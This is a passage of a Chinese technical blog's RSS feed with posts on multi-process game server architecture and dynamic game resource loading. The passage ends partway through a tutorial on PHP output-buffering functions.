		<description><![CDATA[<a href="http://www.5bay.cn/game-development/%E5%A4%9A%E8%BF%9B%E7%A8%8B%E7%9A%84%E6%B8%B8%E6%88%8F%E6%9C%8D%E5%8A%A1%E5%99%A8%E8%AE%BE%E8%AE%A1.html"><img align="left" hspace="5" width="150" height="150" src="http://www.5bay.cn/wp-content/plugins/thumbnail-for-excerpts/tfe_no_thumb.png" class="alignleft wp-post-image tfe" alt="" title="" /></a>目前，我们的游戏服务器组是按多进程的方式设计的。强调多进程，是想提另外一点，我们每个进程上是单线程的。所以，我们在设计中，系统的复杂点在于进程间如何交换数据；而不需要考虑线程间的数据锁问题。如果肆意的做进程间通讯，在进程数量不断增加后，会使系统混乱不可控。经过分析后，我决定做如下的限制：如果一个进程需要和多个服务器做双向通讯，那么这个进程不能处理复杂的逻辑，而只是过滤和转发数据用。即，这样的一个进程 S ，只会把进程 A 发过来的数据转发到 B ；或把进程 B 发过来的数据转发到 A 。或者从一端发过来的数据，经过简单的协议分析后，可以分发到不同的地方。例如，把客户端发过来的数据包中的聊天信息分离处理，交到聊天进程处理。有逻辑处理的进程上的数据流一定是单向的，它可以从多个数据源读取数据，但是处理后一定反馈到另外的地方，而不需要和数据源做逻辑上的交互。每个进程尽可能的保持单个输入点，或是单个输出点。所有费时的操作均发到独立的进程，以队列方式处理。按功能和场景划分进程，单一服务和单一场景中不再分离出多个进程做负载均衡。性能问题上，我是这样考虑的：我们应该充分利用多核的优势，这会是日后的发展方向。让每个进程要么处理大流量小计算量的工作；要么处理小流量大计算量的工作。这样多个进程放在一台物理机器上可以更加充分的利用机器的资源。单线程多进程的设计，个人认为更能发挥多核的优势。这是因为没有了锁，每个线程都可以以最大吞吐量工作。增加的负担只是进程间的数据复制，在网游这种复杂逻辑的系统中，一般不会比逻辑计算更早成为瓶颈。如果担心，单线程没有利用多核计算的优势，不妨考虑以下的例子：计算 a/b+c/d+e/f ，如果我们在一个进程中开三条线程利用三个核同时计算 a/b c/d e/f 固然不错，但它增加了程序设计的复杂度。而换个思路，做成三个进程，第一个只算 a/b 把结果交给第二个进程去算 c/d 于之的和，再交个第三个进程算 e/f 。对于单次运算来算，虽然成本增加了。它需要做额外的进程间通讯复制中间结果。但，如果我们有大量连续的这样的计算要做，整体的吞吐量却增加了。因为在算某次的 a/b 的时候，前一次的 c/d 可能在另一个核中并行计算着。具体的设计中，我们只需要把处理数据包的任务切细，适当增加处理流水线的长度，就可以提高整个系统的吞吐量了。由于逻辑操作是单线程的，所以另需要注意的一点是，所有费时的操作都应该转发到独立的进程中异步完成。比如下面会提到的数据存取服务。对于具体的场景管理是这样做的：玩家连接进来后，所有数据包会经过一个叫做位置服务的进程中。这个进程可以区分玩家所在的位置，然后把玩家数据分发到对应的场景服务进程中。这个位置服务同时还管理玩家间消息的广播。即，单个的场景（逻辑）服务并不关心每个数据包为哪几个玩家所见，而由这个服务将其复制分发。当玩家切换场景，场景服务器将玩家的数据发送给数据服务，数据服务进程 cache 玩家数据，并将数据写入数据库。然后把玩家的新的场景编号发回位置服务进程，这样位置服务器可以将后续的玩家数据包正确的转发到新的场景服务进程中。掉落物品和资源生产同样可以统一管理，所以的场景（逻辑）进程都将生产新物件的请求发给物品分配服务，由物品分配服务生产出新物件后通知位置服务器产生新物品。这样一系列的做法，最终保证了，每个场景服务器都有一个唯一的数据源——位置服务进程。它跟持久化在数据库中的数据无关，跟时钟也无关。由此带来的调试便利是很显著的。最近，面临诸多进程的设计时，最先面临的一个复杂点在于启动阶段。显然，每个进程都配有一套配置文件指出其它进程的地址并不是一个好主意。而为每个服务都分配一个子域名在开发期也不太合适。结果我们采取了一个简单的方案：单独开发了一个名字服务器。它的功能类似 DNS ，但是可以让每个进程自由的注册自己的位置，还可以定期汇报自己的当前状态。这样，我们可以方便的用程序查询到需要的服务。名字服务器的协议用的类似 POP3 的文本协议，这让我们可以人手工 telnet 上去查阅。我相信以后我们的维护人员会喜欢这样的设计的。:D 相关博文2010年05月23日 -- mysql优化及全文搜索 (0)2008年10月17日 -- 思维的惯性 (0)2008年10月17日 -- 随机数有多随机？ (0)2011年06月29日 -- 资深设计师Tony Ventrice解析手机游戏开发的四个层次 (0)2010年07月28日 -- ASP防注入新方式，希望对大家是有用的 (0)2010年07月26日 -- PHP对文本数据库的基本操作方法 (0)2010年07月26日 [...]]]></description>
			<content:encoded><![CDATA[<p>目前，我们的游戏服务器组是按多进程的方式设计的。强调多进程，是想提另外一点，我们每个进程上是单线程的。所以，我们在设计中，系统的复杂点在于进程间如何交换数据；而不需要考虑线程间的数据锁问题。<br/><br/>如果肆意的做进程间通讯，在进程数量不断增加后，会使系统混乱不可控。经过分析后，我决定做如下的限制：<br/><br/>如果一个进程需要和多个服务器做双向通讯，那么这个进程不能处理复杂的逻辑，而只是过滤和转发数据用。即，这样的一个进程 S ，只会把进程 A 发过来的数据转发到 B ；或把进程 B 发过来的数据转发到 A 。或者从一端发过来的数据，经过简单的协议分析后，可以分发到不同的地方。例如，把客户端发过来的数据包中的聊天信息分离处理，交到聊天进程处理。<br/><br/>有逻辑处理的进程上的数据流一定是单向的，它可以从多个数据源读取数据，但是处理后一定反馈到另外的地方，而不需要和数据源做逻辑上的交互。<br/><br/>每个进程尽可能的保持单个输入点，或是单个输出点。<br/><br/>所有费时的操作均发到独立的进程，以队列方式处理。<br/><br/>按功能和场景划分进程，单一服务和单一场景中不再分离出多个进程做负载均衡。<span id="more-302"></span><br/><br/>性能问题上，我是这样考虑的：<br/><br/>我们应该充分利用多核的优势，这会是日后的发展方向。让每个进程要么处理大流量小计算量的工作；要么处理小流量大计算量的工作。这样多个进程放在一台物理机器上可以更加充分的利用机器的资源。<br/><br/>单线程多进程的设计，个人认为更能发挥多核的优势。这是因为没有了锁，每个线程都可以以最大吞吐量工作。增加的负担只是进程间的数据复制，在网游这种复杂逻辑的系统中，一般不会比逻辑计算更早成为瓶颈。如果担心，单线程没有利用多核计算的优势，不妨考虑以下的例子：<br/><br/>计算 a/b+c/d+e/f ，如果我们在一个进程中开三条线程利用三个核同时计算 a/b c/d e/f 固然不错，但它增加了程序设计的复杂度。而换个思路，做成三个进程，第一个只算 a/b 把结果交给第二个进程去算 c/d 于之的和，再交个第三个进程算 e/f 。对于单次运算来算，虽然成本增加了。它需要做额外的进程间通讯复制中间结果。但，如果我们有大量连续的这样的计算要做，整体的吞吐量却增加了。因为在算某次的 a/b 的时候，前一次的 c/d 可能在另一个核中并行计算着。<br/><br/>具体的设计中，我们只需要把处理数据包的任务切细，适当增加处理流水线的长度，就可以提高整个系统的吞吐量了。由于逻辑操作是单线程的，所以另需要注意的一点是，所有费时的操作都应该转发到独立的进程中异步完成。比如下面会提到的数据存取服务。<br/><br/>对于具体的场景管理是这样做的：<br/><br/>玩家连接进来后，所有数据包会经过一个叫做位置服务的进程中。这个进程可以区分玩家所在的位置，然后把玩家数据分发到对应的场景服务进程中。这个位置服务同时还管理玩家间消息的广播。即，单个的场景（逻辑）服务并不关心每个数据包为哪几个玩家所见，而由这个服务将其复制分发。<br/><br/>当玩家切换场景，场景服务器将玩家的数据发送给数据服务，数据服务进程 <a href="http://www.5bay.cn/tag/cache" class="st_tag internal_tag" rel="tag" title="标签 cache 下的日志">cache</a> 玩家数据，并将数据写入数据库。然后把玩家的新的场景编号发回位置服务进程，这样位置服务器可以将后续的玩家数据包正确的转发到新的场景服务进程中。<br/><br/>掉落物品和资源生产同样可以统一管理，所以的场景（逻辑）进程都将生产新物件的请求发给物品分配服务，由物品分配服务生产出新物件后通知位置服务器产生新物品。<br/><br/>这样一系列的做法，最终保证了，每个场景服务器都有一个唯一的数据源——位置服务进程。它跟持久化在数据库中的数据无关，跟时钟也无关。由此带来的调试便利是很显著的。<br/><br/>最近，面临诸多进程的设计时，最先面临的一个复杂点在于启动阶段。显然，每个进程都配有一套配置文件指出其它进程的地址并不是一个好主意。而为每个服务都分配一个子域名在开发期也不太合适。结果我们采取了一个简单的方案：单独开发了一个名字服务器。它的功能类似 DNS ，但是可以让每个进程自由的注册自己的位置，还可以定期汇报自己的当前状态。这样，我们可以方便的用程序查询到需要的服务。名字服务器的协议用的类似 POP3 的文本协议，这让我们可以人手工 telnet 上去查阅。我相信以后我们的维护人员会喜欢这样的设计的。:D</p>
<h2  class="related_post_title">相关博文</h2><ul class="related_post"><li>2010年05月23日 -- <a href="http://www.5bay.cn/server-building/mysqlyouhuajiquanwensousuo.html" title="mysql优化及全文搜索">mysql优化及全文搜索</a> (0)</li><li>2008年10月17日 -- <a href="http://www.5bay.cn/game-development/%E6%80%9D%E7%BB%B4%E7%9A%84%E6%83%AF%E6%80%A7.html" title="思维的惯性">思维的惯性</a> (0)</li><li>2008年10月17日 -- <a href="http://www.5bay.cn/game-development/%E9%9A%8F%E6%9C%BA%E6%95%B0%E6%9C%89%E5%A4%9A%E9%9A%8F%E6%9C%BA%EF%BC%9F.html" title="随机数有多随机？">随机数有多随机？</a> (0)</li><li>2011年06月29日 -- <a href="http://www.5bay.cn/game-development/zishenshejishitonyventricejiexishoujiyouxikaifadesigecengci.html" title="资深设计师Tony Ventrice解析手机游戏开发的四个层次">资深设计师Tony Ventrice解析手机游戏开发的四个层次</a> (0)</li><li>2010年07月28日 -- <a href="http://www.5bay.cn/server-building/aspeaojie.html" title="ASP防注入新方式，希望对大家是有用的">ASP防注入新方式，希望对大家是有用的</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/phpeeeeeeeehuai.html" title="PHP对文本数据库的基本操作方法">PHP对文本数据库的基本操作方法</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/eesoneeajaxeehuai.html" title="基于JSON的高级AJAX开发技术">基于JSON的高级AJAX开发技术</a> (0)</li><li>2010年05月23日 -- <a href="http://www.5bay.cn/server-building/eacceleratoryumemcachedequbieyuyongtu.html" title="eAccelerator与memcache的区别与用途">eAccelerator与memcache的区别与用途</a> (2)</li><li>2008年10月17日 -- <a href="http://www.5bay.cn/game-development/%E6%95%B0%E6%8D%AE%E6%9C%8D%E5%8A%A1%E5%99%A8%E7%9A%84%E8%AE%BE%E8%AE%A1.html" title="数据服务器的设计">数据服务器的设计</a> (0)</li><li>2008年10月17日 -- <a href="http://www.5bay.cn/game-development/%E4%BB%A5%E4%BA%BA%E4%B8%BA%E6%9C%AC%EF%BC%8C%E7%BE%8E%E6%9C%AF%E8%B5%84%E6%BA%90%E7%9A%84%E5%BD%92%E6%A1%A3.html" title="以人为本，美术资源的归档">以人为本，美术资源的归档</a> (0)</li><li>2008年10月17日 -- <a href="http://www.5bay.cn/game-development/%E5%A4%9A%E6%9C%8D%E5%8A%A1%E5%99%A8%E7%9A%84%E7%94%A8%E6%88%B7%E8%BA%AB%E4%BB%BD%E8%AE%A4%E8%AF%81%E6%96%B9%E6%A1%88.html" title="多服务器的用户身份认证方案">多服务器的用户身份认证方案</a> (0)</li><li>2008年10月17日 -- <a href="http://www.5bay.cn/game-development/mmo%E7%9A%84%E6%8E%92%E9%98%9F%E7%B3%BB%E7%BB%9F.html" title="MMO 的排队系统">MMO 的排队系统</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/phpeecketee.html" title="PHP和Socket简介">PHP和Socket简介</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/eejaxeeeeee.html" title="使用Ajax时的十个常犯的错误">使用Ajax时的十个常犯的错误</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/phpeezhanchang.html" title="PHP安全之数据过滤">PHP安全之数据过滤</a> (0)</li></ul>
	标签Tags：<a href="http://www.5bay.cn/tag/cache" title="cache" rel="tag">cache</a>, <a href="http://www.5bay.cn/tag/%E4%BA%BA" title="人" rel="tag">人</a>, <a href="http://www.5bay.cn/tag/%E5%88%86%E7%A6%BB" title="分离" rel="tag">分离</a>, <a href="http://www.5bay.cn/tag/%E6%95%B0%E6%8D%AE" title="数据" rel="tag">数据</a>, <a href="http://www.5bay.cn/tag/%E6%95%B0%E6%8D%AE%E5%BA%93" title="数据库" rel="tag">数据库</a>, <a href="http://www.5bay.cn/tag/%E6%B8%B8%E6%88%8F" title="游戏" rel="tag">游戏</a>, <a href="http://www.5bay.cn/category/game-development" title="游戏开发" rel="tag">游戏开发</a>, <a href="http://www.5bay.cn/tag/%E7%A8%8B%E5%BA%8F" title="程序" rel="tag">程序</a>, <a href="http://www.5bay.cn/tag/%E7%B1%BB" title="类" rel="tag">类</a>, <a href="http://www.5bay.cn/tag/%E7%B3%BB%E7%BB%9F" title="系统" rel="tag">系统</a>, <a href="http://www.5bay.cn/tag/%E8%AE%BE%E8%AE%A1" title="设计" rel="tag">设计</a>, <a href="http://www.5bay.cn/tag/%E8%BF%9E%E6%8E%A5" title="连接" rel="tag">连接</a><br />
]]></content:encoded>
			<wfw:commentRss>http://www.5bay.cn/game-development/%E5%A4%9A%E8%BF%9B%E7%A8%8B%E7%9A%84%E6%B8%B8%E6%88%8F%E6%9C%8D%E5%8A%A1%E5%99%A8%E8%AE%BE%E8%AE%A1.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>动态加载资源</title>
		<link>http://www.5bay.cn/game-development/%E5%8A%A8%E6%80%81%E5%8A%A0%E8%BD%BD%E8%B5%84%E6%BA%90.html</link>
		<comments>http://www.5bay.cn/game-development/%E5%8A%A8%E6%80%81%E5%8A%A0%E8%BD%BD%E8%B5%84%E6%BA%90.html#comments</comments>
		<pubDate>Fri, 17 Oct 2008 17:18:44 +0000</pubDate>
		<dc:creator>江小邪</dc:creator>
				<category><![CDATA[游戏开发]]></category>
		<category><![CDATA[cache]]></category>
		<category><![CDATA[人]]></category>
		<category><![CDATA[数据]]></category>
		<category><![CDATA[游戏]]></category>
		<category><![CDATA[表]]></category>
		<category><![CDATA[解决]]></category>
		<category><![CDATA[解压缩]]></category>
		<category><![CDATA[设计]]></category>

		<guid isPermaLink="false">?p=296</guid>
		<description><![CDATA[<a href="http://www.5bay.cn/game-development/%E5%8A%A8%E6%80%81%E5%8A%A0%E8%BD%BD%E8%B5%84%E6%BA%90.html"><img align="left" hspace="5" width="150" height="150" src="http://www.5bay.cn/wp-content/plugins/thumbnail-for-excerpts/tfe_no_thumb.png" class="alignleft wp-post-image tfe" alt="" title="" /></a>如今很多游戏engine宣称自己支持动态加载地图，也就是说可以作到跨地图时的零读取时间。听起来很高深的技术，实际不难实现。最近我正在考虑更加通用的解决方案。先说说基本的思路。也就是我们需要把地图数据切割成小块，让每一块的数据读取解析量并不太大。然后，就可以根据玩家所在坐标读取最小数据量的数据。当玩家移动的时候，利用一些机器闲置时间去读周围的场景，或者进一步可以根据玩家移动方向把前方数据预读的优先级别调高。其实，这个方案可以被推广到所有的游戏资源。其实，我们可以给每个资源文件都放置一个通用的数据域存放一些建议关联文件列表。如果是地图块的话，它的建议依赖文件就是它周围的地图块，或者是人为设置过跳转点的目标块。而模型文件则可以把它依赖的贴图，骨骼文件做为建议依赖资源。地图场景文件可以建议依赖一些摆放在上面的模型文件。有了这些依赖关系，我们在读取某个指定资源文件后，可以用一个独立线程预先加载一些可能下一步要加载数据，也可以由逻辑层主动通知一些预测信息。例如我向东向移动，可以通知 I/O 线程，东边的相关资源优先级别高一些，I/O 线程则去调整预读队列的次序。I/O 线程的设计是比较复杂的，我的最初想法是建立一个大的 cache, 以内存页对齐(IA32 下是 4K)。如果数据被预读了，主线程索要数据的时候，用共享内存的方式，将 cache 中的数据块交换出去。经过和同事的讨论，一个做 OS 的同事提示我，设计可以更简洁一些。因为现在 OS 对 file I/O 的 cache 机制都非常完善了，预读只需要去真的读一下文件即可，不需要再去自己做 cache，自己做 cache 只能节省一些数据 copy 的操作，但是其逻辑的复杂程度还有页表操作的负担不一定划算，所以我们只用专心做好预读逻辑即可。这样的动态加载的资源管理模块，完全可以做的对主线程完全透明。我们的主线程只需要按阻塞模式去读取文件就够了。但是，如果读取文件还伴随着耗时的解码过程。比如解 jpeg，解压缩，解密。那么我们最好自己做 cache 了。 相关博文2008年10月17日 -- 数据服务器的设计 (0)2011年06月29日 -- 资深设计师Tony Ventrice解析手机游戏开发的四个层次 (0)2010年05月23日 -- mysql优化及全文搜索 (0)2008年10月17日 -- 多进程的游戏服务器设计 (0)2008年10月17日 -- 网络游戏的对时以及同步问题 (0)2008年10月17日 -- 以人为本，美术资源的归档 (0)2008年10月17日 -- 思维的惯性 (0)2008年10月17日 -- 游戏中的货币 (0)2008年10月17日 -- [...]]]></description>
			<content:encoded><![CDATA[<p>如今很多游戏engine宣称自己支持动态加载地图，也就是说可以作到跨地图时的零读取时间。听起来很高深的技术，实际不难实现。最近我正在考虑更加通用的解决方案。<br/><br/>先说说基本的思路。也就是我们需要把地图数据切割成小块，让每一块的数据读取解析量并不太大。然后，就可以根据玩家所在坐标读取最小数据量的数据。当玩家移动的时候，利用一些机器闲置时间去读周围的场景，或者进一步可以根据玩家移动方向把前方数据预读的优先级别调高。<br/><br/>其实，这个方案可以被推广到所有的游戏资源。其实，我们可以给每个资源文件都放置一个通用的数据域存放一些建议关联文件列表。如果是地图块的话，它的建议依赖文件就是它周围的地图块，或者是人为设置过跳转点的目标块。<br/><br/>而模型文件则可以把它依赖的贴图，骨骼文件做为建议依赖资源。地图场景文件可以建议依赖一些摆放在上面的模型文件。<br/><br/>有了这些依赖关系，我们在读取某个指定资源文件后，可以用一个独立线程预先加载一些可能下一步要加载数据，也可以由逻辑层主动通知一些预测信息。例如我向东向移动，可以通知 I/O 线程，东边的相关资源优先级别高一些，I/O 线程则去调整预读队列的次序。<br/><br/>I/O 线程的设计是比较复杂的，我的最初想法是建立一个大的 <a href="http://www.5bay.cn/tag/cache" class="st_tag internal_tag" rel="tag" title="标签 cache 下的日志">cache</a>, 以内存页对齐(IA32 下是 4K)。如果数据被预读了，主线程索要数据的时候，用共享内存的方式，将 <a href="http://www.5bay.cn/tag/cache" class="st_tag internal_tag" rel="tag" title="标签 cache 下的日志">cache</a> 中的数据块交换出去。<br/><br/>经过和同事的讨论，一个做 OS 的同事提示我，设计可以更简洁一些。因为现在 OS 对 file I/O 的 cache 机制都非常完善了，预读只需要去真的读一下文件即可，不需要再去自己做 cache，自己做 cache 只能节省一些数据 copy 的操作，但是其逻辑的复杂程度还有页表操作的负担不一定划算，所以我们只用专心做好预读逻辑即可。<br/><br/>这样的动态加载的资源管理模块，完全可以做的对主线程完全透明。我们的主线程只需要按阻塞模式去读取文件就够了。<br/><br/>但是，如果读取文件还伴随着耗时的解码过程。比如解 jpeg，<a href="http://www.5bay.cn/tag/%E8%A7%A3%E5%8E%8B%E7%BC%A9" class="st_tag internal_tag" rel="tag" title="标签 解压缩 下的日志">解压缩</a>，解密。那么我们最好自己做 cache 了。</p>
<h2  class="related_post_title">相关博文</h2><ul class="related_post"><li>2008年10月17日 -- <a href="http://www.5bay.cn/game-development/%E6%95%B0%E6%8D%AE%E6%9C%8D%E5%8A%A1%E5%99%A8%E7%9A%84%E8%AE%BE%E8%AE%A1.html" title="数据服务器的设计">数据服务器的设计</a> (0)</li><li>2011年06月29日 -- <a href="http://www.5bay.cn/game-development/zishenshejishitonyventricejiexishoujiyouxikaifadesigecengci.html" title="资深设计师Tony Ventrice解析手机游戏开发的四个层次">资深设计师Tony Ventrice解析手机游戏开发的四个层次</a> (0)</li><li>2010年05月23日 -- <a href="http://www.5bay.cn/server-building/mysqlyouhuajiquanwensousuo.html" title="mysql优化及全文搜索">mysql优化及全文搜索</a> (0)</li><li>2008年10月17日 -- <a href="http://www.5bay.cn/game-development/%E5%A4%9A%E8%BF%9B%E7%A8%8B%E7%9A%84%E6%B8%B8%E6%88%8F%E6%9C%8D%E5%8A%A1%E5%99%A8%E8%AE%BE%E8%AE%A1.html" title="多进程的游戏服务器设计">多进程的游戏服务器设计</a> (0)</li><li>2008年10月17日 -- <a href="http://www.5bay.cn/game-development/%E7%BD%91%E7%BB%9C%E6%B8%B8%E6%88%8F%E7%9A%84%E5%AF%B9%E6%97%B6%E4%BB%A5%E5%8F%8A%E5%90%8C%E6%AD%A5%E9%97%AE%E9%A2%98.html" title="网络游戏的对时以及同步问题">网络游戏的对时以及同步问题</a> (0)</li><li>2008年10月17日 -- <a href="http://www.5bay.cn/game-development/%E4%BB%A5%E4%BA%BA%E4%B8%BA%E6%9C%AC%EF%BC%8C%E7%BE%8E%E6%9C%AF%E8%B5%84%E6%BA%90%E7%9A%84%E5%BD%92%E6%A1%A3.html" title="以人为本，美术资源的归档">以人为本，美术资源的归档</a> (0)</li><li>2008年10月17日 -- <a href="http://www.5bay.cn/game-development/%E6%80%9D%E7%BB%B4%E7%9A%84%E6%83%AF%E6%80%A7.html" title="思维的惯性">思维的惯性</a> (0)</li><li>2008年10月17日 -- <a href="http://www.5bay.cn/game-development/%E6%B8%B8%E6%88%8F%E4%B8%AD%E7%9A%84%E8%B4%A7%E5%B8%81.html" title="游戏中的货币">游戏中的货币</a> (0)</li><li>2008年10月17日 -- <a href="http://www.5bay.cn/game-development/%E9%9A%8F%E6%9C%BA%E6%95%B0%E6%9C%89%E5%A4%9A%E9%9A%8F%E6%9C%BA%EF%BC%9F.html" title="随机数有多随机？">随机数有多随机？</a> (0)</li><li>2010年05月23日 -- <a href="http://www.5bay.cn/server-building/gaoxingnengwangzhanjianshezhinandushubiji.html" title="《高性能网站建设指南》读书笔记">《高性能网站建设指南》读书笔记</a> (0)</li><li>2008年10月17日 -- <a href="http://www.5bay.cn/game-development/%E7%94%A8%E5%9B%9B%E5%8F%89%E6%A0%91%E7%AE%A1%E7%90%86%E6%95%A3%E5%B8%83%E5%9C%A8%E5%B9%B3%E9%9D%A2%E4%B8%8A%E7%9A%84%E5%AF%B9%E8%B1%A1.html" title="用四叉树管理散布在平面上的对象">用四叉树管理散布在平面上的对象</a> (0)</li><li>2008年10月17日 -- <a href="http://www.5bay.cn/game-development/%E6%9C%8D%E5%8A%A1%E5%99%A8%E6%B6%88%E6%81%AF%E7%9A%84%E5%B9%BF%E6%92%AD.html" title="服务器消息的广播">服务器消息的广播</a> (0)</li><li>2008年10月17日 -- <a href="http://www.5bay.cn/game-development/%E6%B8%B8%E6%88%8F%E6%9C%8D%E5%8A%A1%E5%99%A8%E5%86%85%E7%9A%84%E7%BB%84%E6%92%AD.html" title="游戏服务器内的组播">游戏服务器内的组播</a> (0)</li><li>2008年10月17日 -- <a href="http://www.5bay.cn/game-development/%E5%A4%9A%E6%9C%8D%E5%8A%A1%E5%99%A8%E7%9A%84%E7%94%A8%E6%88%B7%E8%BA%AB%E4%BB%BD%E8%AE%A4%E8%AF%81%E6%96%B9%E6%A1%88.html" title="多服务器的用户身份认证方案">多服务器的用户身份认证方案</a> (0)</li><li>2008年10月17日 -- <a href="http://www.5bay.cn/game-development/%E8%A7%92%E8%89%B2%E5%8A%A8%E4%BD%9C%E6%8E%A7%E5%88%B6%E6%8E%A5%E5%8F%A3%E7%9A%84%E8%AE%BE%E8%AE%A1.html" title="角色动作控制接口的设计">角色动作控制接口的设计</a> (0)</li></ul>
	标签Tags：<a href="http://www.5bay.cn/tag/cache" title="cache" rel="tag">cache</a>, <a href="http://www.5bay.cn/tag/%E4%BA%BA" title="人" rel="tag">人</a>, <a href="http://www.5bay.cn/tag/%E6%95%B0%E6%8D%AE" title="数据" rel="tag">数据</a>, <a href="http://www.5bay.cn/tag/%E6%B8%B8%E6%88%8F" title="游戏" rel="tag">游戏</a>, <a href="http://www.5bay.cn/category/game-development" title="游戏开发" rel="tag">游戏开发</a>, <a href="http://www.5bay.cn/tag/%E8%A1%A8" title="表" rel="tag">表</a>, <a href="http://www.5bay.cn/tag/%E8%A7%A3%E5%86%B3" title="解决" rel="tag">解决</a>, <a href="http://www.5bay.cn/tag/%E8%A7%A3%E5%8E%8B%E7%BC%A9" title="解压缩" rel="tag">解压缩</a>, <a href="http://www.5bay.cn/tag/%E8%AE%BE%E8%AE%A1" title="设计" rel="tag">设计</a><br />
]]></content:encoded>
			<wfw:commentRss>http://www.5bay.cn/game-development/%E5%8A%A8%E6%80%81%E5%8A%A0%E8%BD%BD%E8%B5%84%E6%BA%90.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>用PHP控制您的浏览器cache</title>
		<link>http://www.5bay.cn/network-programming/php/%E7%94%A8php%E6%8E%A7%E5%88%B6%E6%82%A8%E7%9A%84%E6%B5%8F%E8%A7%88%E5%99%A8cache.html</link>
		<comments>http://www.5bay.cn/network-programming/php/%E7%94%A8php%E6%8E%A7%E5%88%B6%E6%82%A8%E7%9A%84%E6%B5%8F%E8%A7%88%E5%99%A8cache.html#comments</comments>
		<pubDate>Fri, 27 Oct 2006 01:24:16 +0000</pubDate>
		<dc:creator>江小邪</dc:creator>
				<category><![CDATA[PHP]]></category>
		<category><![CDATA[cache]]></category>
		<category><![CDATA[浏览器]]></category>

		<guid isPermaLink="false">?p=127</guid>
		<description><![CDATA[<a href="http://www.5bay.cn/network-programming/php/%E7%94%A8php%E6%8E%A7%E5%88%B6%E6%82%A8%E7%9A%84%E6%B5%8F%E8%A7%88%E5%99%A8cache.html"><img align="left" hspace="5" width="150" height="150" src="http://www.5bay.cn/wp-content/plugins/thumbnail-for-excerpts/tfe_no_thumb.png" class="alignleft wp-post-image tfe" alt="" title="" /></a>Output Control 函数可以让你自由控制脚本中数据的输出。它非常地有用，特别是对于：当你想在数据已经输出后，再输出文件头的情况。输出控制函数不对使用 header() 或 setcookie(), 发送的文件头信息产生影响,只对那些类似于 echo() 和 PHP 代码的数据块有作用。 我们先举一个简单的例子，让大家对Output Control有一个大致的印象： Example 1. &#60;?php ob_start(); //打开缓冲区 echo &#92;&#34;Hellon&#92;&#34;; //输出 header(“location:index.php”); //把浏览器重定向到index.php ob_end_flush();//输出全部内容到浏览器 ?&#62; 所有对header()函数有了解的人都知道，这个函数会发送一段文件头给浏览器，但是如果在使用这个函数之前已经有了任何输出（包括空输出，比如空格，回车和换行）就会提示出错。如果我们去掉第一行的ob_start()，再执行此程序，我们会发现得到了一条错误提示：“Header had all ready send by”！但是加上ob_start，就不会提示出错，原因是当打开了缓冲区，echo后面的字符不会输出到浏览器，而是保留在服务器，直到你使用flush或者ob_end_flush才会输出，所以并不会有任何文件头输出的错误！ 一、 相关函数简介： 1、Flush：刷新缓冲区的内容，输出。 函数格式：flush() 说明：这个函数经常使用，效率很高。 2、ob_start ：打开输出缓冲区 函数格式：void ob_start(void) 说明：当缓冲区激活时，所有来自PHP程序的非文件头信息均不会发送，而是保存在内部缓冲区。为了输出缓冲区的内容，可以使用ob_end_flush()或flush()输出缓冲区的内容。 3 、ob_get_contents ：返回内部缓冲区的内容。 使用方法：string ob_get_contents(void) 说明：这个函数会返回当前缓冲区中的内容，如果输出缓冲区没有激活，则返回 FALSE 。 4、ob_get_length：返回内部缓冲区的长度。 使用方法：int ob_get_length(void) 说明：这个函数会返回当前缓冲区中的长度；和ob_get_contents一样，如果输出缓冲区没有激活。则返回 FALSE。 5、ob_end_flush [...]]]></description>
			<content:encoded><![CDATA[<p>Output Control 函数可以让你自由控制脚本中数据的输出。它非常地有用，特别是对于：当你想在数据已经输出后，再输出文件头的情况。输出控制函数不对使用 header() 或 setcookie(), 发送的文件头信息产生影响,只对那些类似于 echo() 和 <a href="http://www.5bay.cn/tag/php" class="st_tag internal_tag" rel="tag" title="标签 PHP 下的日志">PHP</a> 代码的数据块有作用。 <br/><br/>我们先举一个简单的例子，让大家对Output Control有一个大致的印象： <br/>Example 1. <br/><br/>&lt;?php <br/>ob_start(); //打开缓冲区 <br/>echo &#92;&quot;Hellon&#92;&quot;; //输出 <br/>header(“location:index.php”); //把浏览器重定向到index.php <br/>ob_end_flush();//输出全部内容到浏览器 <br/>?&gt; <br/><br/>所有对header()函数有了解的人都知道，这个函数会发送一段文件头给浏览器，但是如果在使用这个函数之前已经有了任何输出（包括空输出，比如空格，回车和换行）就会提示出错。如果我们去掉第一行的ob_start()，再执行此程序，我们会发现得到了一条错误提示：“Header had all ready send by”！但是加上ob_start，就不会提示出错，原因是当打开了缓冲区，echo后面的字符不会输出到浏览器，而是保留在服务器，直到你使用flush或者ob_end_flush才会输出，所以并不会有任何文件头输出的错误！ <br/><br/><span id="more-127"></span><br/>一、 相关函数简介： <br/>1、Flush：刷新缓冲区的内容，输出。 <br/>函数格式：flush() <br/>说明：这个函数经常使用，效率很高。 <br/>2、ob_start ：打开输出缓冲区 <br/>函数格式：void ob_start(void) <br/>说明：当缓冲区激活时，所有来自PHP程序的非文件头信息均不会发送，而是保存在内部缓冲区。为了输出缓冲区的内容，可以使用ob_end_flush()或flush()输出缓冲区的内容。 <br/>3 、ob_get_contents ：返回内部缓冲区的内容。 <br/>使用方法：string ob_get_contents(void) <br/>说明：这个函数会返回当前缓冲区中的内容，如果输出缓冲区没有激活，则返回 FALSE 。 <br/>4、ob_get_length：返回内部缓冲区的长度。 <br/>使用方法：int ob_get_length(void) <br/>说明：这个函数会返回当前缓冲区中的长度；和ob_get_contents一样，如果输出缓冲区没有激活。则返回 FALSE。 <br/>5、ob_end_flush ：发送内部缓冲区的内容到浏览器，并且关闭输出缓冲区。 <br/>使用方法：void ob_end_flush(void) <br/>说明：这个函数发送输出缓冲区的内容（如果有的话）。 <br/>6、ob_end_clean：删除内部缓冲区的内容，并且关闭内部缓冲区 <br/>使用方法：void ob_end_clean(void) <br/>说明：这个函数不会输出内部缓冲区的内容而是把它删除！ <br/>7、ob_implicit_flush：打开或关闭绝对刷新 <br/>使用方法：void ob_implicit_flush ([int flag]) 